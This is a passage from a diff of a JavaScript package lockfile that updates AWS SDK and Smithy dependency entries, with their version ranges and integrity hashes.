"sha512-8aiVJh6fTdl8gcyL+sVNcNwTtWpmoFa1Sh7xlj6Z7L/cZ/tYMEBHq44wTYG8Kt0z/PpGNopD89nbj3FHl9QmTA=="], - "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http": ["@aws-sdk/credential-provider-http@3.758.0", "", { "dependencies": { "@aws-sdk/core": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/fetch-http-handler": "^5.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/property-provider": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/util-stream": "^4.1.2", "tslib": "^2.6.2" } }, "sha512-Xt9/U8qUCiw1hihztWkNeIR+arg6P+yda10OuCHX6kFVx3auTlU7+hCqs3UxqniGU4dguHuftf3mRpi5/GJ33Q=="], + "@aws-sdk/credential-provider-node/@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@4.2.11", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.11", "@smithy/property-provider": "^4.2.11", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "tslib": "^2.6.2" } }, "sha512-lBXrS6ku0kTj3xLmsJW0WwqWbGQ6ueooYyp/1L9lkyT0M02C+DWwYwc5aTyXFbRaK38ojALxNixg+LxKSHZc0g=="], - "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini": ["@aws-sdk/credential-provider-ini@3.758.0", "", { "dependencies": { "@aws-sdk/core": "3.758.0", "@aws-sdk/credential-provider-env": "3.758.0", "@aws-sdk/credential-provider-http": "3.758.0", "@aws-sdk/credential-provider-process": "3.758.0", "@aws-sdk/credential-provider-sso": "3.758.0", "@aws-sdk/credential-provider-web-identity": "3.758.0", "@aws-sdk/nested-clients": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/credential-provider-imds": "^4.0.1", "@smithy/property-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-cymSKMcP5d+OsgetoIZ5QCe1wnp2Q/tq+uIxVdh9MbfdBBEnl9Ecq6dH6VlYS89sp4QKuxHxkWXVnbXU3Q19Aw=="], - - "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process": ["@aws-sdk/credential-provider-process@3.758.0", "", { "dependencies": { "@aws-sdk/core": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/property-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-AzcY74QTPqcbXWVgjpPZ3HOmxQZYPROIBz2YINF0OQk0MhezDWV/O7Xec+K1+MPGQO3qS6EDrUUlnPLjsqieHA=="], - - "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso": ["@aws-sdk/credential-provider-sso@3.758.0", "", { "dependencies": { "@aws-sdk/client-sso": "3.758.0", "@aws-sdk/core": "3.758.0", "@aws-sdk/token-providers": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/property-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-x0FYJqcOLUCv8GLLFDYMXRAQKGjoM+L0BG4BiHYZRDf24yQWFCAZsCQAYKo6XZYh2qznbsW6f//qpyJ5b0QVKQ=="], - - "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity": ["@aws-sdk/credential-provider-web-identity@3.758.0", "", { "dependencies": { "@aws-sdk/core": "3.758.0", "@aws-sdk/nested-clients": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/property-provider": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-XGguXhBqiCXMXRxcfCAVPlMbm3VyJTou79r/3mxWddHWF0XbhaQiBIbUz6vobVTD25YQRbWSmSch7VA8kI5Lrw=="], - - "@aws-sdk/credential-provider-node/@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@4.0.1", "", { "dependencies": { "@smithy/node-config-provider": "^4.0.1", "@smithy/property-provider": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "tslib": "^2.6.2" } }, "sha512-l/qdInaDq1Zpznpmev/+52QomsJNZ3JkTl5yrTl02V6NBgJOQ4LY0SFw/8zsMwj3tLe8vqiIuwF6nxaEwgf6mg=="], - - "@aws-sdk/credential-provider-node/@smithy/property-provider": ["@smithy/property-provider@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o+VRiwC2cgmk/WFV0jaETGOtX16VNPp2bSQEzu0whbReqE1BMqsP2ami2Vi3cbGVdKu1kq9gQkDAGKbt0WOHAQ=="], + "@aws-sdk/credential-provider-node/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="], "@aws-sdk/credential-provider-process/@aws-sdk/types": ["@aws-sdk/types@3.609.0", "", { "dependencies": { "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-+Tqnh9w0h2LcrUsdXyT1F8mNhXz+tVYBtP19LpeEGntmvHwa2XzvLUCWpoIAIVsHp5+HdB2X9Sn0KAtmbFXc2Q=="], @@ -5217,113 +5439,41 @@ "@aws-sdk/credential-providers/@smithy/types": ["@smithy/types@3.3.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-IxvBBCTFDHbVoK7zIxqA1ZOdc4QfM5HM7rGleCuHi7L1wnKv5Pn69xXJQ9hgxH60ZVygH9/JG0jRgtUncE3QUA=="], - "@aws-sdk/eventstream-handler-node/@aws-sdk/types": ["@aws-sdk/types@3.936.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-uz0/VlMd2pP5MepdrHizd+T+OKfyK4r3OA9JI+L/lPKg0YFQosdJNCKisr6o70E3dh8iMpFYxF1UN/4uZsyARg=="], + "@aws-sdk/middleware-websocket/@aws-sdk/util-format-url": ["@aws-sdk/util-format-url@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/querystring-builder": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-V+PbnWfUl93GuFwsOHsAq7hY/fnm9kElRqR8IexIJr5Rvif9e614X5sGSyz3mVSf1YAZ+VTy63W1/pGdA55zyA=="], - "@aws-sdk/eventstream-handler-node/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="], + "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region": ["@aws-sdk/signature-v4-multi-region@3.758.0", "", { "dependencies": { "@aws-sdk/middleware-sdk-s3": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/protocol-http": "^5.0.1", "@smithy/signature-v4": "^5.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-0RPCo8fYJcrenJ6bRtiUbFOSgQ1CX/GpvwtLU2Fam1tS9h2klKK8d74caeV6A1mIUvBU7bhyQ0wMGlwMtn3EYw=="], - "@aws-sdk/middleware-eventstream/@aws-sdk/types": ["@aws-sdk/types@3.936.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-uz0/VlMd2pP5MepdrHizd+T+OKfyK4r3OA9JI+L/lPKg0YFQosdJNCKisr6o70E3dh8iMpFYxF1UN/4uZsyARg=="], + "@aws-sdk/s3-request-presigner/@aws-sdk/types": ["@aws-sdk/types@3.734.0", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o11tSPTT70nAkGV1fN9wm/hAIiLPyWX6SuGf+9JyTp7S/rC2cFWhR26MvA69nplcjNaXVzB0f+QFrLXXjOqCrg=="], - "@aws-sdk/middleware-eventstream/@smithy/protocol-http": ["@smithy/protocol-http@5.3.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qLRZzP2+PqhE3OSwvY2jpBbP0WKTZ9opTsn+6IWYI0SKVpbG+imcfNxXPq9fj5XeaUTr7odpsNpK6dmoiM1gJQ=="], + "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.0.6", "", { "dependencies": { "@smithy/core": "^3.1.5", "@smithy/middleware-serde": "^4.0.2", "@smithy/node-config-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "@smithy/util-middleware": "^4.0.1", "tslib": "^2.6.2" } }, "sha512-ftpmkTHIFqgaFugcjzLZv3kzPEFsBFSnq1JsIkr2mwFzCraZVhQk2gqN51OOeRxqhbPTkRFj39Qd2V91E/mQxg=="], - "@aws-sdk/middleware-eventstream/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="], + "@aws-sdk/s3-request-presigner/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="], - "@aws-sdk/middleware-websocket/@aws-sdk/types": ["@aws-sdk/types@3.936.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-uz0/VlMd2pP5MepdrHizd+T+OKfyK4r3OA9JI+L/lPKg0YFQosdJNCKisr6o70E3dh8iMpFYxF1UN/4uZsyARg=="], + "@aws-sdk/s3-request-presigner/@smithy/smithy-client": ["@smithy/smithy-client@4.1.6", "", { "dependencies": { "@smithy/core": "^3.1.5", "@smithy/middleware-endpoint": "^4.0.6", "@smithy/middleware-stack": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "@smithy/util-stream": "^4.1.2", "tslib": "^2.6.2" } }, "sha512-UYDolNg6h2O0L+cJjtgSyKKvEKCOa/8FHYJnBobyeoeWDmNpXjwOAtw16ezyeu1ETuuLEOZbrynK0ZY1Lx9Jbw=="], - "@aws-sdk/middleware-websocket/@aws-sdk/util-format-url": ["@aws-sdk/util-format-url@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/querystring-builder": "^4.2.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-MS5eSEtDUFIAMHrJaMERiHAvDPdfxc/T869ZjDNFAIiZhyc037REw0aoTNeimNXDNy2txRNZJaAUn/kE4RwN+g=="], + "@aws-sdk/s3-request-presigner/@smithy/types": ["@smithy/types@4.8.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-N0Zn0OT1zc+NA+UVfkYqQzviRh5ucWwO7mBV3TmHHprMnfcJNfhlPicDkBHi0ewbh+y3evR6cNAW0Raxvb01NA=="], - "@aws-sdk/middleware-websocket/@smithy/eventstream-serde-browser": ["@smithy/eventstream-serde-browser@4.2.6", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-6OiaAaEbLB6dEkRbQyNzFSJv5HDvly3Mc6q/qcPd2uS/g3szR8wAIkh7UndAFKfMypNSTuZ6eCBmgCLR5LacTg=="], + "@aws-sdk/token-providers/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="], - "@aws-sdk/middleware-websocket/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/querystring-builder": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-fcVap4QwqmzQwQK9QU3keeEpCzTjnP9NJ171vI7GnD7nbkAIcP9biZhDUx88uRH9BabSsQDS0unUps88uZvFIQ=="], - - "@aws-sdk/middleware-websocket/@smithy/protocol-http": ["@smithy/protocol-http@5.3.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qLRZzP2+PqhE3OSwvY2jpBbP0WKTZ9opTsn+6IWYI0SKVpbG+imcfNxXPq9fj5XeaUTr7odpsNpK6dmoiM1gJQ=="], - - "@aws-sdk/middleware-websocket/@smithy/signature-v4": ["@smithy/signature-v4@5.3.6", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-P1TXDHuQMadTMTOBv4oElZMURU4uyEhxhHfn+qOc2iofW9Rd4sZtBGx58Lzk112rIGVEYZT8eUMK4NftpewpRA=="], - - "@aws-sdk/middleware-websocket/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="], - - "@aws-sdk/nested-clients/@aws-sdk/core": ["@aws-sdk/core@3.947.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@aws-sdk/xml-builder": "3.930.0", "@smithy/core": "^3.18.7", "@smithy/node-config-provider": "^4.3.5", "@smithy/property-provider": "^4.2.5", "@smithy/protocol-http": "^5.3.5", "@smithy/signature-v4": "^5.3.5", "@smithy/smithy-client": "^4.9.10", "@smithy/types": "^4.9.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-middleware": "^4.2.5", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Khq4zHhuAkvCFuFbgcy3GrZTzfSX7ZIjIcW1zRDxXRLZKRtuhnZdonqTUfaWi5K42/4OmxkYNpsO7X7trQOeHw=="], - - "@aws-sdk/nested-clients/@aws-sdk/middleware-host-header": ["@aws-sdk/middleware-host-header@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/protocol-http": "^5.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-tAaObaAnsP1XnLGndfkGWFuzrJYuk9W0b/nLvol66t8FZExIAf/WdkT2NNAWOYxljVs++oHnyHBCxIlaHrzSiw=="], - - "@aws-sdk/nested-clients/@aws-sdk/middleware-logger": ["@aws-sdk/middleware-logger@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-aPSJ12d3a3Ea5nyEnLbijCaaYJT2QjQ9iW+zGh5QcZYXmOGWbKVyPSxmVOboZQG+c1M8t6d2O7tqrwzIq8L8qw=="], - - "@aws-sdk/nested-clients/@aws-sdk/middleware-recursion-detection": ["@aws-sdk/middleware-recursion-detection@3.948.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@aws/lambda-invoke-store": "^0.2.2", "@smithy/protocol-http": "^5.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-Qa8Zj+EAqA0VlAVvxpRnpBpIWJI9KUwaioY1vkeNVwXPlNaz9y9zCKVM9iU9OZ5HXpoUg6TnhATAHXHAE8+QsQ=="], - - "@aws-sdk/nested-clients/@aws-sdk/middleware-user-agent": ["@aws-sdk/middleware-user-agent@3.947.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/types": "3.936.0", "@aws-sdk/util-endpoints": "3.936.0", "@smithy/core": "^3.18.7", "@smithy/protocol-http": "^5.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-7rpKV8YNgCP2R4F9RjWZFcD2R+SO/0R4VHIbY9iZJdH2MzzJ8ZG7h8dZ2m8QkQd1fjx4wrFJGGPJUTYXPV3baA=="], - - "@aws-sdk/nested-clients/@aws-sdk/region-config-resolver": ["@aws-sdk/region-config-resolver@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/config-resolver": "^4.4.3", "@smithy/node-config-provider": "^4.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-wOKhzzWsshXGduxO4pqSiNyL9oUtk4BEvjWm9aaq6Hmfdoydq6v6t0rAGHWPjFwy9z2haovGRi3C8IxdMB4muw=="], - - "@aws-sdk/nested-clients/@aws-sdk/types": ["@aws-sdk/types@3.936.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-uz0/VlMd2pP5MepdrHizd+T+OKfyK4r3OA9JI+L/lPKg0YFQosdJNCKisr6o70E3dh8iMpFYxF1UN/4uZsyARg=="], - - "@aws-sdk/nested-clients/@aws-sdk/util-endpoints": ["@aws-sdk/util-endpoints@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/types": "^4.9.0", "@smithy/url-parser": "^4.2.5", "@smithy/util-endpoints": "^3.2.5", "tslib": "^2.6.2" } }, "sha512-0Zx3Ntdpu+z9Wlm7JKUBOzS9EunwKAb4KdGUQQxDqh5Lc3ta5uBoub+FgmVuzwnmBu9U1Os8UuwVTH0Lgu+P5w=="], - - "@aws-sdk/nested-clients/@aws-sdk/util-user-agent-browser": ["@aws-sdk/util-user-agent-browser@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/types": "^4.9.0", "bowser": "^2.11.0", "tslib": "^2.6.2" } }, "sha512-eZ/XF6NxMtu+iCma58GRNRxSq4lHo6zHQLOZRIeL/ghqYJirqHdenMOwrzPettj60KWlv827RVebP9oNVrwZbw=="], - - "@aws-sdk/nested-clients/@aws-sdk/util-user-agent-node": ["@aws-sdk/util-user-agent-node@3.947.0", "", { "dependencies": { "@aws-sdk/middleware-user-agent": "3.947.0", "@aws-sdk/types": "3.936.0", "@smithy/node-config-provider": "^4.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" }, "peerDependencies": { "aws-crt": ">=1.0.0" }, "optionalPeers": ["aws-crt"] }, "sha512-+vhHoDrdbb+zerV4noQk1DHaUMNzWFWPpPYjVTwW2186k5BEJIecAMChYkghRrBVJ3KPWP1+JnZwOd72F3d4rQ=="], - - "@aws-sdk/nested-clients/@smithy/config-resolver": ["@smithy/config-resolver@4.4.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/types": "^4.10.0", "@smithy/util-config-provider": "^4.2.0", "@smithy/util-endpoints": "^3.2.6", "@smithy/util-middleware": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-s3U5ChS21DwU54kMmZ0UJumoS5cg0+rGVZvN6f5Lp6EbAVi0ZyP+qDSHdewfmXKUgNK1j3z45JyzulkDukrjAA=="], - - "@aws-sdk/nested-clients/@smithy/core": ["@smithy/core@3.19.0", "", { "dependencies": { "@smithy/middleware-serde": "^4.2.7", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-stream": "^4.5.7", "@smithy/util-utf8": "^4.2.0", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-Y9oHXpBcXQgYHOcAEmxjkDilUbSTkgKjoHYed3WaYUH8jngq8lPWDBSpjHblJ9uOgBdy5mh3pzebrScDdYr29w=="], - - "@aws-sdk/nested-clients/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/querystring-builder": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-fcVap4QwqmzQwQK9QU3keeEpCzTjnP9NJ171vI7GnD7nbkAIcP9biZhDUx88uRH9BabSsQDS0unUps88uZvFIQ=="], - - "@aws-sdk/nested-clients/@smithy/hash-node": ["@smithy/hash-node@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-k3Dy9VNR37wfMh2/1RHkFf/e0rMyN0pjY0FdyY6ItJRjENYyVPRMwad6ZR1S9HFm6tTuIOd9pqKBmtJ4VHxvxg=="], - - "@aws-sdk/nested-clients/@smithy/invalid-dependency": ["@smithy/invalid-dependency@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-E4t/V/q2T46RY21fpfznd1iSLTvCXKNKo4zJ1QuEFN4SE9gKfu2vb6bgq35LpufkQ+SETWIC7ZAf2GGvTlBaMQ=="], - - "@aws-sdk/nested-clients/@smithy/middleware-content-length": ["@smithy/middleware-content-length@4.2.6", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-0cjqjyfj+Gls30ntq45SsBtqF3dfJQCeqQPyGz58Pk8OgrAr5YiB7ZvDzjCA94p4r6DCI4qLm7FKobqBjf515w=="], - - "@aws-sdk/nested-clients/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.4.0", "", { "dependencies": { "@smithy/core": "^3.19.0", "@smithy/middleware-serde": "^4.2.7", "@smithy/node-config-provider": "^4.3.6", "@smithy/shared-ini-file-loader": "^4.4.1", "@smithy/types": "^4.10.0", "@smithy/url-parser": "^4.2.6", "@smithy/util-middleware": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-M6qWfUNny6NFNy8amrCGIb9TfOMUkHVtg9bHtEFGRgfH7A7AtPpn/fcrToGPjVDK1ECuMVvqGQOXcZxmu9K+7A=="], - - "@aws-sdk/nested-clients/@smithy/middleware-retry": ["@smithy/middleware-retry@4.4.16", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/protocol-http": "^5.3.6", "@smithy/service-error-classification": "^4.2.6", "@smithy/smithy-client": "^4.10.1", "@smithy/types": "^4.10.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-retry": "^4.2.6", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-XPpNhNRzm3vhYm7YCsyw3AtmWggJbg1wNGAoqb7NBYr5XA5isMRv14jgbYyUV6IvbTBFZQdf2QpeW43LrRdStQ=="], - - "@aws-sdk/nested-clients/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-PFMVHVPgtFECeu4iZ+4SX6VOQT0+dIpm4jSPLLL6JLSkp9RohGqKBKD0cbiXdeIFS08Forp0UHI6kc0gIHenSA=="], - - "@aws-sdk/nested-clients/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-JSbALU3G+JS4kyBZPqnJ3hxIYwOVRV7r9GNQMS6j5VsQDo5+Es5nddLfr9TQlxZLNHPvKSh+XSB0OuWGfSWFcA=="], - - "@aws-sdk/nested-clients/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.6", "", { "dependencies": { "@smithy/property-provider": "^4.2.6", "@smithy/shared-ini-file-loader": "^4.4.1", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-fYEyL59Qe82Ha1p97YQTMEQPJYmBS+ux76foqluaTVWoG9Px5J53w6NvXZNE3wP7lIicLDF7Vj1Em18XTX7fsA=="], - - "@aws-sdk/nested-clients/@smithy/protocol-http": ["@smithy/protocol-http@5.3.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qLRZzP2+PqhE3OSwvY2jpBbP0WKTZ9opTsn+6IWYI0SKVpbG+imcfNxXPq9fj5XeaUTr7odpsNpK6dmoiM1gJQ=="], - - "@aws-sdk/nested-clients/@smithy/smithy-client": ["@smithy/smithy-client@4.10.1", "", { "dependencies": { "@smithy/core": "^3.19.0", "@smithy/middleware-endpoint": "^4.4.0", "@smithy/middleware-stack": "^4.2.6", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-stream": "^4.5.7", "tslib": "^2.6.2" } }, "sha512-1ovWdxzYprhq+mWqiGZlt3kF69LJthuQcfY9BIyHx9MywTFKzFapluku1QXoaBB43GCsLDxNqS+1v30ure69AA=="], - - "@aws-sdk/nested-clients/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="], - - "@aws-sdk/nested-clients/@smithy/url-parser": ["@smithy/url-parser@4.2.6", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tVoyzJ2vXp4R3/aeV4EQjBDmCuWxRa8eo3KybL7Xv4wEM16nObYh7H1sNfcuLWHAAAzb0RVyxUz1S3sGj4X+Tg=="], - - "@aws-sdk/nested-clients/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="], - - "@aws-sdk/nested-clients/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="], - - "@aws-sdk/nested-clients/@smithy/util-body-length-node": ["@smithy/util-body-length-node@4.2.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-h53dz/pISVrVrfxV1iqXlx5pRg3V2YWFcSQyPyXZRrZoZj4R4DeWRDo1a7dd3CPTcFi3kE+98tuNyD2axyZReA=="], - - "@aws-sdk/nested-clients/@smithy/util-defaults-mode-browser": ["@smithy/util-defaults-mode-browser@4.3.15", "", { "dependencies": { "@smithy/property-provider": "^4.2.6", "@smithy/smithy-client": "^4.10.1", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-LiZQVAg/oO8kueX4c+oMls5njaD2cRLXRfcjlTYjhIqmwHnCwkQO5B3dMQH0c5PACILxGAQf6Mxsq7CjlDc76A=="], - - "@aws-sdk/nested-clients/@smithy/util-defaults-mode-node": ["@smithy/util-defaults-mode-node@4.2.18", "", { "dependencies": { "@smithy/config-resolver": "^4.4.4", "@smithy/credential-provider-imds": "^4.2.6", "@smithy/node-config-provider": "^4.3.6", "@smithy/property-provider": "^4.2.6", "@smithy/smithy-client": "^4.10.1", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-Kw2J+KzYm9C9Z9nY6+W0tEnoZOofstVCMTshli9jhQbQCy64rueGfKzPfuFBnVUqZD9JobxTh2DzHmPkp/Va/Q=="], - - "@aws-sdk/nested-clients/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.6", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-v60VNM2+mPvgHCBXEfMCYrQ0RepP6u6xvbAkMenfe4Mi872CqNkJzgcnQL837e8NdeDxBgrWQRTluKq5Lqdhfg=="], - - "@aws-sdk/nested-clients/@smithy/util-middleware": ["@smithy/util-middleware@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qrvXUkxBSAFomM3/OEMuDVwjh4wtqK8D2uDZPShzIqOylPst6gor2Cdp6+XrH4dyksAWq/bE2aSDYBTTnj0Rxg=="], - - "@aws-sdk/nested-clients/@smithy/util-retry": ["@smithy/util-retry@4.2.6", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-x7CeDQLPQ9cb6xN7fRJEjlP9NyGW/YeXWc4j/RUhg4I+H60F0PEeRc2c/z3rm9zmsdiMFzpV/rT+4UHW6KM1SA=="], - - "@aws-sdk/nested-clients/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, 